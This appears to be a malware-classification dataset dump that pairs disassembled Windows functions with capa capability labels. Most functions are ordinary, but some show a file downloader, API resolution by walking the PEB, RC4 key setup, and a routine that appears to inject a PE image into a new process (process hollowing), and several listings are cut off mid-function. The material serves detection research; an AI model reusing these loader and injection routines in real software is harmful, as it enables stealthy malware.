joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b265
Capabilities:
Create thread

Disassembly:
push 0x68
mov eax, 0x41d215
call fcn.0041bcbb
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x18]
mov edi, ecx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x70], ecx
mov ecx, dword [ebp + 0x14]
push eax
lea esi, [ebp - 0x68]
mov dword [ebp - 0x6c], ecx
call fcn.004022eb
push dword [ebp - 0x74]
and dword [ebp - 4], 0
lea esi, [ebp - 0x4c]
call fcn.00401798
mov byte [ebp - 4], 1
push dword [ebp - 0x70]
lea esi, [ebp - 0x30]
call fcn.004022eb
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 2
mov esi, dword [edi + 0x28]
lea eax, [ebp - 0x6c]
push eax
push dword [esi + 4]
push esi
call fcn.0040be58
mov ecx, dword [edi + 0x2c]
mov edx, 0x2c8590a
sub edx, ecx
cmp edx, 1
jae 0x40b2e5
push str.list_T__too_long
call fcn.0041025a
inc ecx
mov dword [edi + 0x2c], ecx
mov dword [esi + 4], eax
mov ecx, dword [eax + 4]
push 0xb8
mov dword [ecx], eax
call fcn.0041082d
mov esi, eax
pop ecx
mov dword [ebp - 0x70], esi
mov byte [ebp - 4], 3
test esi, esi
je 0x40b314
push esi
lea ebx, [ebp - 0x6c]
call fcn.0040b43d
jmp 0x40b316
xor esi, esi
push esi
push 0
push 0x40b41c
call fcn.00411a7d
add esp, 0xc
lea ebx, [ebp - 0x6c]
call fcn.0040b336
call fcn.0041bd05
ret 0x14
Function at 0x40b820
Capabilities:
Check http status code
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0x23c
push 0x423558
call fcn.0041bd20
mov esi, ecx
mov dword [ebp - 0x248], esi
mov edi, edx
mov dword [ebp - 0x224], edi
xor ebx, ebx
mov byte [ebp - 0x21c], bl
push 0x1ff
push ebx
lea eax, [ebp - 0x21b]
push eax
call fcn.00412060
add esp, 0xc
mov dword [ebp - 0x22c], 0x200
mov dword [ebp - 0x238], ebx
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0x13
push edi
mov edi, dword [sym.imp.WININET.dll_HttpQueryInfoA]
call edi
test eax, eax
jne 0x40b897
xor al, al
jmp 0x40b9c0
lea eax, [ebp - 0x21c]
push eax
call fcn.00411512
pop ecx
cmp eax, 0xc8
jne 0x40b890
or dword [ebp - 0x240], 0xffffffff
or dword [ebp - 0x23c], 0xffffffff
mov dword [ebp - 0x22c], 0x200
mov dword [ebp - 0x238], ebx
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x21c]
push eax
push 5
push dword [ebp - 0x224]
call edi
test eax, eax
je 0x40b905
lea eax, [ebp - 0x21c]
push eax
call fcn.0041151d
pop ecx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
xor edi, edi
mov dword [ebp - 0x234], ebx
mov dword [ebp - 0x230], ebx
push 0x200000
call fcn.00410315
pop ecx
mov dword [ebp - 0x220], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x228], ebx
lea eax, [ebp - 0x228]
push eax
mov eax, 0x5000
push eax
mov eax, dword [ebp - 0x220]
add eax, edi
push eax
push dword [ebp - 0x224]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40b96b
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x426090
call fcn.00418cb0
add esp, 0xc
jmp 0x40b890
cmp dword [ebp - 0x228], ebx
jne 0x40b9c6
cmp edi, ebx
je 0x40b9b2
mov dword [ebp - 0x224], ebx
push ebx
lea eax, [ebp - 0x224]
push eax
push edi
push dword [ebp - 0x220]
push dword [esi + 0x5c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b953
cmp dword [ebp - 0x224], edi
jne 0x40b953
push dword [ebp - 0x220]
add esi, 0x60
mov eax, edi
call fcn.00404410
pop ecx
mov dword [ebp - 4], 0xfffffffe
call fcn.0040ba95
mov al, 1
call fcn.0041bd68
ret
add edi, dword [ebp - 0x228]
mov dword [ebp - 0x24c], edi
mov ecx, 0x5000
add ecx, edi
mov eax, 0x200000
cmp ecx, eax
jbe 0x40ba33
mov dword [ebp - 0x244], ebx
push ebx
lea eax, [ebp - 0x244]
push eax
push edi
push dword [ebp - 0x220]
push dword [esi + 0x5c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b953
cmp dword [ebp - 0x244], edi
jne 0x40b953
push dword [ebp - 0x220]
add esi, 0x60
mov eax, edi
call fcn.00404410
pop ecx
xor edi, edi
mov dword [ebp - 0x24c], edi
mov esi, dword [ebp - 0x248]
mov eax, dword [ebp - 0x228]
add dword [ebp - 0x234], eax
adc dword [ebp - 0x230], ebx
cmp dword [ebp - 0x23c], ebx
jl 0x40b927
jg 0x40ba5f
cmp dword [ebp - 0x240], ebx
jbe 0x40b927
push ebx
push 0x64
push dword [ebp - 0x230]
push dword [ebp - 0x234]
call fcn.00419000
push dword [ebp - 0x23c]
push dword [ebp - 0x240]
push edx
push eax
call fcn.0041bd80
push eax
push 2
mov eax, esi
call fcn.0040b7f2
jmp 0x40b927
Function at 0x40c14f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4dc
mov eax, dword [0x426090]
xor eax, esp
mov dword [esp + 0x4d8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
push 0x40c3cc
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x40c4ac
call fcn.00411cf4
pop ecx
lea esi, [esp + 0x48]
call fcn.0040c2df
mov edx, edi
mov ecx, esi
call section..text
test al, al
jne 0x40c1c0
or ebx, 0xffffffff
lea eax, [esp + 0x48]
call fcn.0040c334
mov ecx, dword [esp + 0x4e4]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0041032b
mov esp, ebp
pop ebp
ret 0x10
push 0x4224fc
lea esi, [esp + 0x30]
call fcn.004022eb
lea eax, [esp + 0xb0]
push eax
mov eax, esi
push eax
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0xa0]
push eax
lea eax, [esp + 0x88]
call fcn.00405c89
add esp, 0x10
push 1
xor edi, edi
call fcn.00401d93
mov al, byte [esp + 0xcc]
mov byte [0x428164], al
lea eax, [esp + 0x48]
push eax
call fcn.0040c370
pop ecx
test al, al
je 0x40c21d
xor ebx, ebx
jmp 0x40c19e
cmp dword [esp + 0x70], 0x10
mov esi, dword [esp + 0x5c]
jae 0x40c22c
lea esi, [esp + 0x5c]
push 2
mov edi, 0x422508
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40c245
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, str.start
call fcn.00405fe6
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0xd4]
push eax
call fcn.0040d098
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
jmp 0x40c288
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x40c272
call fcn.004060ec
push 0xa8
lea eax, [esp + 0x30]
push eax
call fcn.0040e21a
push eax
call fcn.0040c5da
pop ecx
pop ecx
push 1
xor edi, edi
lea esi, [esp + 0x30]
call fcn.00401953
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0xd0]
push eax
call fcn.0040d24d
jmp 0x40c19e
Function at 0x40c4c6
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x426090]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push esi
lea ecx, [ebp - 0x25c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x260], eax
cmp eax, 0xffffffff
je 0x40c5c2
mov ecx, 0x422548
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40c52b
test dx, dx
je 0x40c527
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40c52b
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c505
xor eax, eax
jmp 0x40c530
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40c59b
mov ecx, 0x42254c
lea eax, [ebp - 0x230]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40c565
test dx, dx
je 0x40c561
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40c565
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c53f
xor eax, eax
jmp 0x40c56a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40c59b
mov esi, dword [edi]
lea eax, [ebp - 0x25c]
push eax
push dword [esi + 4]
push esi
call fcn.0040c94b
mov ecx, dword [edi + 4]
mov edx, 0x6eb3e3
sub edx, ecx
cmp edx, 1
jb 0x40c5cf
inc ecx
mov dword [edi + 4], ecx
mov dword [esi + 4], eax
mov ecx, dword [eax + 4]
mov dword [ecx], eax
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40c4fa
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.0041032b
leave
ret
push str.list_T__too_long
call fcn.0041025a
int3
Function at 0x40cf7d
Capabilities:
Check mutex on windows

Disassembly:
xor eax, eax
cmp dword [0x428178], eax
jne 0x40cfa0
push str.__sogou_medal_mapping_lock_2014__
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push eax
push 0x428178
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0xffffffffffffffff
push dword [0x428178]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb eax, eax
inc eax
ret
Function at 0x40dadb
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x426090]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x133a253
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov ebx, dword [edi]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x23c], ebx
jne 0x40db2b
and dword [ebp - 0x234], 0
push str.install_failed
mov esi, str.create_process
lea ecx, [edi + 4]
call fcn.00405e86
jmp 0x40dbd5
push dword [ebp + 0xc]
mov ecx, ebx
push eax
call fcn.0040d76e
mov dword [ebp - 0x234], eax
test eax, eax
je 0x40db4b
mov ebx, dword [edi]
push str.install_success
xor esi, esi
jmp 0x40db1e
and dword [ebp - 0x230], 0
lea eax, [ebp - 0x224]
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x230]
push eax
mov ecx, str.exitcode_
mov dword [ebp - 0x22c], 0x200
call fcn.00402d5d
push 0xa
mov esi, eax
push 0x20
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 0xc]
call fcn.004118cd
push esi
lea ecx, [ebp - 0x24]
call fcn.00402d5d
mov ecx, dword [ebp - 0x230]
mov eax, dword [ebp - 0x228]
mov byte [eax + ecx], 0
mov esi, dword [ebp - 0x228]
mov ebx, dword [edi]
push str.install_failed
lea ecx, [edi + 4]
call fcn.00405e86
lea eax, [ebp - 0x224]
add esp, 0x1c
cmp dword [ebp - 0x228], eax
je 0x40dbd6
push dword [ebp - 0x228]
call fcn.004111a2
pop ecx
cmp dword [edi], 1
je 0x40dc08
lea esi, [edi + 0x20]
cmp dword [esi + 0x14], 8
jb 0x40dbe8
mov eax, dword [esi]
jmp 0x40dbea
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x40dc08
cmp dword [esi + 0x14], 8
jb 0x40dbfd
mov esi, dword [esi]
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov esi, dword [ebp - 0x234]
mov edi, dword [ebp - 0x238]
push dword [ebp - 0x23c]
neg esi
sbb esi, esi
and esi, 0xffffffe3
add esi, 0x20
mov eax, edi
call fcn.0040e25c
push 0
push 0
push 0x503
push dword [edi + 4]
call dword [sym.imp.USER32.dll_PostMessageW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0041032b
leave
ret 8
Function at 0x40e1f0
Capabilities:
Create thread

Disassembly:
cmp dword [0x426f7c], 0x10
mov eax, dword [0x426f68]
jae 0x40e203
mov eax, 0x426f68
push eax
call fcn.00411797
push eax
push 0
push 0x40e40c
call fcn.00411a7d
add esp, 0x10
ret

Function at 0x40e29b
Capabilities:
Create thread

Disassembly:
push 4
mov eax, 0x41ce02
call fcn.0041bc52
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push 2
pop esi
call fcn.0040e25c
push 0x7c
call fcn.0041082d
pop ecx
mov dword [ebp - 0x10], eax
xor esi, esi
mov dword [ebp - 4], esi
cmp eax, esi
je 0x40e2e0
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
call fcn.0040e279
push dword [ebp - 0x10]
mov ebx, eax
call fcn.0040e306
jmp 0x40e2e2
xor eax, eax
push esi
push esi
push eax
push 0x40e56b
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.0041bcf1
ret 8

Function at 0x40e3cd
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.Local__sogou_medal_metux_2014__
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
push esi
sete byte [ebp - 1]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp byte [ebp - 1], al
pop esi
sete al
leave
ret

Function at 0x40e9d7
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40ea3b
cmp dword [ebp + 0xc], 1
je 0x40ea13
cmp dword [ebp + 0xc], 2
je 0x40ea13
push 0xd
pop eax
jmp 0x40ea3b
mov eax, dword [ebp - 4]
test edi, edi
je 0x40ea35
test eax, eax
je 0x40ea30
test al, 1
jne 0x40ea0e
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x40ea35
jmp 0x40ea0e
xor ecx, ecx
mov word [edi], cx
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 8
Function at 0x410081
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x427320], 0
push esi
push edi
jne 0x40fff7
call fcn.0040ff63
test eax, eax
je 0x41003c
mov eax, dword [0x427320]
cmp eax, 1
jne 0x410018
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x41003c
jmp 0x41007e
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x41007e
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x410040
xor eax, eax
jmp 0x41007e
mov eax, dword [esi]
push dword [0x427320]
call edi
mov edi, eax
test edi, edi
je 0x410062
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x41007e
lea edi, [esi + 0xff0]
push esi
push dword [0x427320]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x410068
mov eax, esi
pop edi
pop esi
ret
jmp 0x40ffe3

Function at 0x41032b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426090]
jne 0x410335
repz ret
jmp fcn.00412126
Function at 0x41aa4c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x426090]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004130f8
and dword [ebp - 0x14], 0
cmp dword [0x428144], 0
mov dword [ebp - 0x18], eax
jne 0x41aaff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41aba7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41aba7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x428144], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x428148], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42814c], eax
call edi
push eax
call esi
mov dword [0x428154], eax
test eax, eax
je 0x41aaff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x428150], eax
mov eax, dword [0x428150]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41ab58
cmp dword [0x428154], ecx
je 0x41ab58
push eax
call esi
push dword [0x428154]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41ab58
test ebx, ebx
je 0x41ab58
call edi
test eax, eax
je 0x41ab4f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41ab4f
test byte [ebp - 8], 1
jne 0x41ab58
or dword [ebp + 0x10], 0x200000
jmp 0x41ab8b
mov eax, dword [0x428148]
cmp eax, dword [ebp - 0x18]
je 0x41ab8b
push eax
call esi
test eax, eax
je 0x41ab8b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41ab8b
mov eax, dword [0x42814c]
cmp eax, dword [ebp - 0x18]
je 0x41ab8b
push eax
call esi
test eax, eax
je 0x41ab8b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x428144]
call esi
test eax, eax
je 0x41aba7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41aba9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041032b
leave
ret
Function at 0x10001ae1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, edx
mov edx, dword [edx + 0x3c]
add edx, eax
mov ecx, dword [edx + ecx*8 + 0x78]
mov edx, dword [eax + ecx + 0x18]
mov dword [esp + 0xc], edx
test edx, edx
je 0x10001b5e
mov edx, dword [esp + 0x28]
mov esi, dword [eax + ecx + 0x20]
add esi, eax
mov dword [esp + 8], esi
mov esi, dword [eax + ecx + 0x1c]
add esi, eax
mov dword [esp + 4], esi
mov ecx, dword [eax + ecx + 0x24]
add ecx, eax
mov dword [esp], ecx
xor edi, edi

Function at 0x10001b78
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [0x100479aa]
mov dword [esp], eax
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
add ecx, 0xc
mov edx, ecx
xor ebx, ebx
mov edx, dword [edx]
cmp edx, ecx
je 0x10001bd8
mov esi, dword [edx + 0x30]
movzx ebp, word [esi]
test bp, bp
je 0x10001bcc
add esi, 2
xor edi, edi
lea eax, [ebp - 0x41]
cmp ax, 0x1a
jae 0x10001bba
add ebp, 0x20
movzx eax, bp
add edi, eax
movzx ebp, word [esi]
add esi, 2
test bp, bp
jne 0x10001bae
jmp 0x10001bce
xor edi, edi
cmp edi, dword [esp]
jne 0x10001b98
mov ebp, dword [edx + 0x18]
jmp 0x10001bda
xor ebp, ebp
mov ecx, dword [0x100479b6]
mov edx, ebp
push dword [0x100479be]
push dword [0x1004799a]
call fcn.10001ae1
add esp, 8
mov dword [esp], eax
mov esi, dword [0x100479e6]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov ecx, dword [0x100479b6]
mov edx, ebp
push dword [0x100479be]
push dword [0x1004799e]
call fcn.10001ae1
add esp, 8
push 0x104
push edi
push ebx
call eax
mov ecx, dword [str.ikna]
mov edx, dword [0x100479ba]
cmp word [edi + eax*2 - 2], dx
jne 0x10001c4c
mov edx, eax
jmp 0x10001c64
mov word [edi + eax*2], 0
mov esi, dword [0x100479ba]
lea edx, [eax - 1]
cmp word [edi + eax*2 - 4], si
mov eax, edx
jne 0x10001c4c
mov al, byte [ecx]
test al, al
je 0x10001c7f
lea edx, [edi + edx*2]
xor esi, esi
movsx eax, al
mov word [edx + esi*2], ax
mov al, byte [ecx + esi + 1]
inc esi
test al, al
jne 0x10001c6f
mov ecx, dword [0x100479b6]
mov edx, ebp
push dword [0x100479be]
push dword [0x100479b2]
call fcn.10001ae1
add esp, 8
xor esi, esi
push esi
push dword [0x100479d2]
push dword [0x100479a2]
push esi
push 1
push dword [0x10047996]
push edi
call eax
mov ebx, eax
mov ecx, dword [0x100479b6]
mov edx, ebp
push dword [0x100479be]
push dword [0x100479ca]
call fcn.10001ae1
add esp, 8
push esi
mov dword [esp + 8], ebx
push ebx
call eax
cmp eax, dword [0x100479b6]
jne 0x10001cec
push esi
push esi
push esi
jmp 0x10001ee3
mov ebx, eax
mov ecx, dword [0x100479b6]
mov dh, 0x79
add al, 0x10
Function at 0x1549a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x198e10
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x1b2014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x1b30ec
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.001680c0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x1b2a8c
push eax
call fcn.001680c0
mov esi, dword [0x1b30fc]
xor ebx, ebx
mov edi, dword [0x1b3100]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x1b6390], bl
mov eax, ebx
mov ecx, 0x1b30ec
cmovae ecx, dword [0x1b30ec]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x1b64a0], al
inc ebx
cmp ebx, 0x100
jl 0x154a20
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x1b6390]
movzx eax, byte [esi + 0x1b64a0]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x154a74
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x1b6390]
mov byte [esi + 0x1b6390], al
inc esi
mov byte [edi + 0x1b6390], dl
cmp esi, 0x100
jl 0x154a50
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00154690
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x154ac9
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x154abf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x154b1f
push edx
push ecx
call fcn.0016d663
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x154b0b
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x154b01
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x154b1f
push edx
push ecx
call fcn.0016d663
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00186c6a
int3
Function at 0x1570a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x1b2014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x7a0771
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x157289
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x157289
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.001840f0
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x7a082e
nop
test eax, eax
je 0x157289
push 4
push 0x1000
push 4
push 0
call 0x7a0000
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x500087
nop
test eax, eax
je 0x157289
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x1a8df8
push dword [esp + 0x30]
call 0x5004e6
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x1571ac
push 0x1a8dfc
push 0x1a8e14
call 0x790b82
nop
push eax
call 0x500285
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x500336
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0x157289
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x7a06e1
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x157243
mov dword [esp + 0xc], eax
call fcn.00156ef0
push eax
call 0x780657
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x7a06e1
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x1571f2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x7a06e1
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x5007a1
nop
push dword [esp + 0x24]
call 0x790c6f
nop
push 0x8000
push 0
push esi
call 0x7a0622
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0016cff1
mov esp, ebp
pop ebp
ret